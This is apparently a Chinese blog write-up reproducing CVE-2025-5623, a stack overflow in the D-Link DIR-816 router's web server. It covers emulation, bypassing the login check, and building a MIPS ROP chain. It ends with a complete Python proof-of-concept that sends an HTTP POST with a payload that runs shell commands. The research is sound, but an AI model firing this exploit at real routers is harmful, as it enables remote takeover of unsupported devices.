CVE-2025-5623 DIR-816 路由器用户模拟与栈溢出漏洞复现

用户模拟栈溢出ROP构造
2025-06-13 12:54
43284

DIR-816的用户模拟与栈溢出漏洞复现

CVE-2025-5623

在 D-Link 的 DIR-816 1.10CNB05 设备中发现了一个漏洞,该漏洞已被评定为严重级别。此漏洞影响了文件 /goform/qosClassifier 中的 qosClassifier 功能。对参数 dip_address/sip_address 的操作会导致栈溢出漏洞。有可能通过远程发起攻击。该漏洞的利用方法已向公众公布,并且可能被利用。此漏洞仅影响那些已不再由维护方支持的产品。

启动程序

提取固件

拿到固件,查看是否加密

binwalk -E DIR-816A2_FWv1.10CNB05_R1B011D88210.img

没有加密直接用binwalk提取。

binwalk -Me DIR-816A2_FWv1.10CNB05_R1B011D88210.img

1749126784687-41bb1972-f354-4a15-9d20-a729d6058cc6.png

启动项分析

启动项分析是找到系统启动时自动运行的程序、找到能够启动我们程序的Web服务器,通常查看/etc/rcS脚本。若/etc找不到,可查看/etc_ro。常见的Web服务器有httpdgoaheadmini_httpd等。
1749179248258-e75f0585-2ea4-4f2a-8f96-459c88eed23f.png
在启动脚本rcS发现有goahead二进制文件,并且在后台运行程序。
1749179213003-cdc92548-0b39-4921-ba1f-359976d5bad3.png
我们现在通过下面的命令找到web服务器。找到bin/goahead。像这种web服务器一般都是二进制文件,在bin目录或者sbin目录下。

grep -ir "goahead"

1749180337576-b1decfe1-673c-4d8b-9639-3ef533e861c0.png
也可以用firmwalker工具搜集信息
Snipaste_2025-06-06_15-31-48.png
用readelf指令查看一下,goahead是mips架构小端序。
readelf.png

模拟程序

这里有两种模拟方案,手动进行qemu系统模拟或者qemu用户模拟。我们选择qemu用户模拟单个程序,这种方法不需要配置整个系统需要的文件、网卡等,仅需要绕过一些判断环境的程序(因为我们没有完整系统),但是模拟起来的程序缺少一些支撑,后续工作会更困难。

复制qemu-mipsel-static到当前squashfs-root文件系统下

cp $(which qemu-mipsel-static) ./

启动goahead程序

sudo chroot . ./qemu-mipsel-static  ./bin/goahead

程序运行报错,没有/dev/nvram文件,选择创建文件解决。

下面还有个goahead.c: cannot open pid file这个错误,我们打开ida分析解决
1749181151821-8f2ee4c7-6ccb-4c30-b38f-71e08b9de6fa.png
根据IDA分析,v4等于0,会跳转到报错程序。分析函数,fopen需要打开文件,打不开1就返回0,系统报错是打不开文件,因为我们var/run目录下没有goahead.pid文件,因此我们在他指定的目录下创建一个文件。
1749181663751-38175f62-1862-4883-929d-1d87f1f5b25b.png
1749184408658-9d0201ac-4ca3-448f-ab7b-e294c6fe0d5d.png
继续运行,发现程序一直在等待运行,根据输出信息定位到程序停留的地方
1749184914517-e6f82e91-bf3e-4863-b3c0-aedaa76dc2a7.png
分析一下,函数是while(1),要找到break跳出循环,需要v1等于1。我们同样创建这个指定目录下的文件。
1749186040153-91be293f-a214-4216-a635-4eef23bfbf2f.png
重新启动程序,发现还是有报错,我们继续复制报错内容,在ida里面搜索
1749186682632-ee185c06-f837-4bdb-b313-aef648936181.png
1749186819845-0121e682-7f80-45bc-8b09-993733ed166d.png
动态调试,这里选择修改汇编代码里$v0的值改变跳转方向
1749187447061-497405cc-1b22-44ef-b42b-734477b56753.png
1749187781738-8ed771eb-832b-4f71-b9fc-da6c5a61307c.png
修改完,登录服务就启动了。输入我们本机的ip地址加路径/dir_login.asp就可以进入登录页面
1749462322351-b910a56d-dc0b-483f-a0ad-401e9afd698c.png
现在我们同样需要绕过账号密码的验证,我们在ida里面找到对应的登录函数。
1749530575403-90fd6fbe-4756-4e88-b9a9-b4da9189c872.png
研究登录逻辑发现只需要账号、密码为空就可以实现登录。
1749530634247-628f4304-77eb-48c6-884a-678753c4f1e4.png
这里有两种处理方式
一种使用burp抓包,修改账户和密码为空,把show_username的值删除
1749540084545-4e1ca0a1-193d-43e8-8fb7-8a00932e557b.png
一种还是在ida里面判断账号的地方,下断点修改值,令$v0=0
1749535589572-1caf7960-5579-42f1-88cb-ad8bfc1f0def.png
1749537270936-6090c3dc-6b21-4531-a70d-da0068a3d9ff.png
这里将修改断点的启动程序整理成一个python脚本,方便多次pwndbg调试。其中登录账号需要在dir_login.asp手动输入任意值并点击登录。
Snipaste_2025-06-10_22-23-22.png

import pexpect
import time
import sys

child = pexpect.spawn('pwndbg ./bin/goahead', encoding='utf-8')
PROMPT = 'pwndbg>'

def send_expect(cmd, expect_prompts=None, delay=0.5, description=None):
    if description:
        print(f"[*] 执行:{description}")
    if expect_prompts is None:
        expect_prompts = ['pwndbg>', r'Breakpoint \d+,', r'Continuing\.']
    child.sendline(cmd)
    try:
        index = child.expect(expect_prompts, timeout=30)
        time.sleep(delay)
        return index
    except pexpect.exceptions.TIMEOUT:
        print(f"[!] 超时:执行命令 `{cmd}` 后未匹配期望提示符。")
        print(f"[!] GDB输出如下(最后200字符):\n{child.before[-200:]}")
        sys.exit(1)

def confirm_register_value(reg_name, expected_value):
    """检查寄存器值是否设置成功"""
    child.sendline(f'print ${reg_name}')
    child.expect(PROMPT)
    output = child.before
    if str(expected_value) not in output:
        print(f"[!] 错误:{reg_name} 设置失败,实际输出:\n{output}")
        sys.exit(1)
    print(f"[*] 已确认 {reg_name} = {expected_value}")

# 等待 pwndbg 启动
child.expect(PROMPT)

# 调试初始化
send_expect('set architecture mips', description='设置架构为 MIPS')
send_expect('target remote :12346', description='连接 target remote')
send_expect('b *0x0045CDDC', expect_prompts=[r'Breakpoint \d+ at'], description='设置第一个断点')
send_expect('b *0x0045711C', expect_prompts=[r'Breakpoint \d+ at'], description='设置第二个断点')

# 第一次 continue
send_expect('c', description='第一次继续执行程序')
print("[*] 等待 18 秒(程序可能正在启动服务)")
time.sleep(18)

# 第一次 syscall 伪造返回
send_expect('set $v0=0', description='第一次设置 $v0=0')
confirm_register_value('v0', 0)

send_expect('c', description='继续执行以触发登录流程')
print("[*] 等待 3 秒进入登录界面")
time.sleep(3)

# 等待手动登录
input("[*] 登录后请按 Enter 继续……")

# 登录后再次设置寄存器
send_expect('set $v0=0', description='第二次设置 $v0=0')
confirm_register_value('v0', 0)

send_expect('c', description='继续执行以完成登录后操作')
print("[*] 等待 3 秒")
time.sleep(3)

print("[*] 自动调试完成,进入手动交互模式(输入 'e' 退出)")

# 手动交互模式
while True:
    try:
        user_input = input("(dbg) ")
        if user_input.strip().lower() == 'e':
            print("[*] 正在退出调试器...")
            child.sendline('exit')
            break
        child.sendline(user_input)
        child.expect(PROMPT)
        print(child.before.strip())
    except KeyboardInterrupt:
        print("\n[*] 你按下了 Ctrl+C,可继续输入命令或输入 exit 退出。")

漏洞分析

漏洞情报:在 D-Link 的 DIR-816 1.10CNB05 设备中发现了一个漏洞,该漏洞已被评定为严重级别。此漏洞影响了文件 /goform/qosClassifier 中的 qosClassifier 功能。对参数 dip_address/sip_address的操作会导致栈式缓冲区溢出。有可能通过远程方式发起攻击。该漏洞的利用方法已向公众公布,并且可能被利用。此漏洞仅影响那些已不再由维护方支持的产品。

定位漏洞点:ida搜索sip,定位到sub_44DDE8函数的图示片段,sip和dip的内容被传给v3、v4,且没有检查sip和dip的长度
Snipaste_2025-06-10_14-42-05.png
同一函数sub_44DDE8内,isIpNetmaskValid函数调用v3、v4,在不限制v3、v4大小的情况下,通过strncpy函数复制给空间有限的v20,最终导致栈溢出
Snipaste_2025-06-10_14-44-40.png
image-20250610144708202.png
定位网络接口:查看sub_44DDE8函数即漏洞函数调用链
Snipaste_2025-06-10_18-42-12.png
ipportFilter即为可用接口

栈溢出测试

打开dbg调试,启动goahead,根据漏洞情报写post包,并且没有验证信息,只有sip_address的值,用超长的A字符触发栈溢出成功

POST /goform/ipportFilter HTTP/1.1
Content-Length: 263
Host: 192.168.206.128
Content-Type: application/x-www-form-urlencoded
Connection: close


&sip_address=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAA.png
尝试用字符串"AAAABAAACAAADAAA..."定位

发包如下

POST /goform/ipportFilter HTTP/1.1
Content-Length: 228
Host: 192.168.206.128
Content-Type: application/x-www-form-urlencoded
Connection: close



&sip_address=AAAABAAACAAADAAAEAAAFAAAGAAAHAAAIAAAJAAAKAAALAAAMAAANAAAOAAAPAAAQAAARAAASAAATAAAUAAAVAAAWAAAXAAAYAAAZAABBAABCAABDAABEAABFAABGAABHAABIAABJAABKAABLAABMAABNAABOAABPAABQAABRAABSAABTAABUAABVAABWAABXAABYAABZAACBAACCAACDAACE

FAAA.png
根据返回地址计算出偏移量为44。
找到一处调用函数片段,地址是0x00432e08,成功控制返回地址,跳转到该函数。
注:如要构造ROP链,需要在链接库找一个高位地址,保证不会因为地址中有0x00片段截断字符串复制payload
system.png
Snipaste_2025-06-09_15-08-00.png

构造ROP链访问system函数

尝试构造ROP链。

返回地址选择问题

漏洞函数跳转到我们覆盖的返回地址的代码如下:

.text:00445F98                 jr      $ra
.text:00445F9C                 addiu   $sp, 0x48

MIPS 延迟槽的“标准”行为:在标准的 MIPS 架构下,jr $ra 后的那一条指令(即延迟槽指令),总会在跳转前被执行一次。
也就是先执行 addiu $sp, $sp, 0x48,然后跳转到 $ra,所以$sp 会变为 $sp + 0x48,这是正常的恢复栈操作。

由于恢复栈操作是结束函数的必要操作,所以绝大部分情况下,返回地址前的栈帧是无法利用的片段,只能用乱码填充。要想控制程序,数据最好在返回地址所在栈帧之后,这就要求返回地址一定不能导致payload覆盖截止。在同一程序里即goahead里找到的地址,如上文0x00432e08是低位地址,/x00/片段导致危险函数strncpy复制截止,后续的数据就无法进入栈帧。一般高位地址可以在链接库找。

链接库基址问题

ROP链需要的函数在一个高位地址的链接库里找,这里遇到一个qemu用户模拟才会遇到的困难,链接库不明确:

首先查看goahead程序的依赖关系,代码如下

readelf -d goahead

Snipaste_2025-06-09_11-54-08.png
但是由于系统没有模拟起来,这几个链接库实际上只是软链接,链接关系如下:
Snipaste_2025-06-11_11-30-52.png
找到libm-0.9.28.so、libnvram-0.9.28.so、libuClibc-0.9.28.so

然后通过pwndbg确定基地址,由于是用户模拟,调试工具并不能确认依赖库信息

指令vmmap看到链接对应关系不明确
vmmap0.png
但是链接关系还是存在的,我们运行程序到绕过登录判断的断点,再次vmmap查询
vmmap1.png
还是有些数据段不明确,但是我们可以基于Offset=0的内存段推测,大致判断基地址,整理如下

链接库基地址
libm-0.9.28.so0x406000
libnvram-0.9.28.so0x3fecb000
libuClibc-0.9.28.so0x3ff14000

libc是标准C语言库,几乎每个C语言程序都需要依赖它,构造rop链的理想片段一般在这找,libm是标准数学库,提供高精度的数学函数,libnvram通常与嵌入式设备的非易失性存储器(NVRAM)相关。这里选择libc.so.0对应的libuClibc-0.9.28.so,后续的ROP链片段都在这里找。

开始构造ROP链

构造ROP链,思路可以从头开始或者从末尾开始。这里我们先考虑选择最终的目的函数,尝试利用system函数,因为如果最终的目的函数没法用,那前面的链条也是没有用的。IDA打开libuClibc-0.9.28.so,直接搜索system函数,因为正常程序调用的system函数一般都在这定义。

找到system函数的地址,搞懂函数大致逻辑,通过把命令字符串的指针放在a0寄存器传参
Snipaste_2025-06-11_12-45-00.png
计算system函数实际地址,等于链接库基地址加上system函数在链接库的地址,计算得0x3FF5BD20

将返回地址改成0x3FF5BD20,测试一下,结果函数停在一个很奇怪的地方。

原始Socket传输

在跳转位置前,也就是漏洞函数末尾下断点,观察栈空间,发现我们的payload被“撕碎”了
栈1.png
原来的payload大致是,返回地址前后都用规律的cyclic定位

    payload = b""
    
    pattern = b'AAAABAAACAAADAAAEAAAFAAAGAAAHAAAIAAAJAAAKAAALAAAMAAANAAAOAAAPAAAQAAARAAASAAATAAAUAAAVAAAWAAAXAAAYAAA'
    lib_base = 0x3ff14000

    payload += pattern[:44]
    payload += p32(lib_base + 0x47d20)
    payload += pattern[44:76]

根据栈上的数据,从返回地址开始,payload的四字节对齐就被破坏了。而原来测试的返回地址能够正确跳转。问题出在我们的新地址"0x3FF5BD20"上。

经排查,我们发现发送HTTP请求的脚本设置有错误

data = {"sip_address": payload.decode('latin1')} headers["Content-Length"] = str(len(f"sip_address={payload.decode('latin1')}"))

该脚本将原始的二进制数据(bytes)错误地当作文本字符串(string)来处理,并在通过HTTP传输时,触发了一次隐蔽的、破坏性的编码转换,而前文的地址恰好不触发这个问题。

我们改用Socket传输,修正这一问题并避免潜在的问题。相关脚本如下。也有其他解决方式,或者一开始脚本正确就可以避免这个问题。

def send_raw_http_post(payload):
    post_data = b"&sip_address=" + payload
    
    http_request = (
        f"POST /goform/ipportFilter HTTP/1.1\r\n"
        f"Host: 192.168.206.128\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: {len(post_data)}\r\n"
        f"Connection: close\r\n"
        f"\r\n"
    ).encode() + post_data
    
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect(('192.168.206.128', 80))
        sock.send(http_request)
        response = sock.recv(4096)
        sock.close()
        return True
    except:
        return False

再次试跳转system函数成功。在system函数开头打了断点观察,对比ida看到的汇编代码,可以确定我们计算的地址无误。
system1.png

继续构造ROP链

ROP1.png
解决了跳转system函数的问题。思考一下整个ROP逻辑:调用system函数之前,需要给a0传system函数需要的参数(一个指针指向命令字符串),然后跳转到某个寄存器的地址。我们需要把数据写到寄存器上,但是栈溢出漏洞实际上只能把数据写到栈上,于是,一个自然的想法就是:我们第一步跳转到一个地址,把栈上需要的数据写到寄存器上,如果一次写不全就多写几次。

我们使用MIPSROP查找Gadget,Gadget即构成ROP链的片段。MIPSROP是IDA里面的插件,专门针对MIPS构造ROP链。

第一条指令mipsrop.find("lw"),搜索把栈上的数据写到寄存器的片段,find里面的字符串就是搜索内容“lw"。

随便看一个搜索结果。搜索提示我们用最后两行,但我们也可以跳到前面多执行几行。这段代码有几个问题,首先,前面几行代码对我们没作用,jalr会产生复杂的变化,一般不用。看到lw $gp$gp寄存器比较特殊,最好不要用它。因此这一Gadget只有最后两行能用。而我们要读栈上的数据,该Gadget读了一个数据到寄存器,但是跳到下一个Gadget又需要消耗一个栈上的数据(一般这个数据无法重复使用),所以这一Gadget做了无用功。
ROP1.png
根据上面的思考,我们的第一个Gadget最好能存很多栈上的数据,我们找到以下片段
rop2.png
这段Gadget存了一些栈上的数据,至于够用与否,可以先用着看看。本段作为Gadget1。我们可以发现搜索结果还有个特点:每段Gadget都能控制自己跳转的地址,这也是构成ROP链的基础要求。注意一点,这里的恢复栈操作addiu $sp, 0x30是会被执行的,如果后续用到栈指针$sp需要注意这一点。
既然我们把数据存在$s0$s1,我们的目的是控制system函数的参数$a0同时跳转到system,下一段搜索”lw $a0",恰好看到把$s0利用起来的片段
rop3.png
跳过去看看
rop4.png
这段刚好把我们的$s0$s1都用上了,那我们直接把$a0$s0传递,然后跳转地址$s1直接写system地址是否可行呢?自己整理一下几段Gadget,思考一下栈上的数据分布,发现完全可行。本段作为Gadget2,Gadget3即system函数。注意这里把$s0上的内容作为地址,指向的内容赋给$a0,而$a0也是一个指向命令字符串的地址,因此这里有一个地址嵌套。

最后根据需要的数据在栈上的位置构造payload如下

def p32(x):
    return struct.pack("<I", x)

def generate_test_payload():
    payload = b""
    
    pattern = b'AAAABAAACAAADAAAEAAAFAAAGAAAHAAAIAAAJAAAKAAALAAAMAAANAAAOAAAPAAAQAAARAAASAAATAAAUAAAVAAAWAAAXAAAYAAA'
    lib_base = 0x3ff14000 #链接库基地址
    
    payload += pattern[:44]
    payload += p32(lib_base + 0xb754) #Gadget1地址
    payload += pattern[44:76]
    payload += p32(0x407ff5d0) #s0 指向栈地址stack1
    payload += p32(lib_base + 0x47d20) #s1 system地址
    payload += p32(0x41414141) #s2
    payload += p32(lib_base + 0x31b20) #Gadget2地址 在Gadget1被传给$ra
    payload += p32(0x407ff5d4) #栈地址stack1 指向栈地址stack2
    payload += pattern[76:84] #填充字节 使命令结束在空白栈
    payload += b"touch /tmp/pwned\x00" #栈地址stack2 存储system命令
    
    return payload

复现成功!
Snipaste_2025-06-12_18-25-49.png
最后附上完整的POC:

import struct
import socket

def p32(x):
    return struct.pack("<I", x)

def generate_test_payload():
    payload = b""
    #pattern = b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
    pattern = b'AAAABAAACAAADAAAEAAAFAAAGAAAHAAAIAAAJAAAKAAALAAAMAAANAAAOAAAPAAAQAAARAAASAAATAAAUAAAVAAAWAAAXAAAYAAA'
    lib_base = 0x3ff14000
    
    payload += pattern[:80]
    payload += p32(lib_base + 0xb754)
    payload += p32(0x407ff5d0)
    payload += p32(lib_base + 0x47d20)
    payload += p32(0x41414141)
    payload += p32(lib_base + 0x31b20)
    payload += p32(0x407ff5dc)
    payload += pattern[76:84]
    payload += b"echo 1;tee /tmp/pwnnn"
    
    return payload

def send_raw_http_post(payload):
    post_data = b"&sip_address=" + payload
    
    http_request = (
        f"POST /goform/ipportFilter HTTP/1.1\r\n"
        f"Host: 192.168.206.128\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: {len(post_data)}\r\n"
        f"Connection: close\r\n"
        f"\r\n"
    ).encode() + post_data
    
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect(('192.168.206.128', 80))
        sock.send(http_request)
        response = sock.recv(4096)
        sock.close()
        return True
    except:
        return False

def main():
    payload = generate_test_payload()
    success = send_raw_http_post(payload)

if __name__ == "__main__":
    main()

后记

我们栈溢出没法控制栈上的数据以/x00/结束,因此touch /tmp/pwned命令会把后面非我们控制的栈数据也当成文件名,造成乱码,如下图,笔者通过选择一块全零的栈空间存储我们payload末尾来解决这一问题。如果没有这种空间,想要解决这一问题需要在rop链插一段或者多段向栈空间写零的Gadget。
Snipaste_2025-06-12_18-10-16.png

分享到

参与评论

0 / 200

全部评论 2

KDEV的头像
这篇复现文简直把 CVE-2025-5623 漏洞的里里外外扒得比解剖图还清楚!从用户模拟到栈溢出的每个细节都拆解得明明白白,步骤顺得像按图纸拼机械表,连藏在代码里的暗坑都标得清清楚楚 —— 这哪是文章,分明是给研究这漏洞的人递了把精准到毫米的解剖刀,看完直呼:照着走简直能复刻得丝毫不差!
2025-07-08 18:04
Aiyflowers的头像
很难不赞
2025-06-16 10:33
投稿
签到
联系我们
关于我们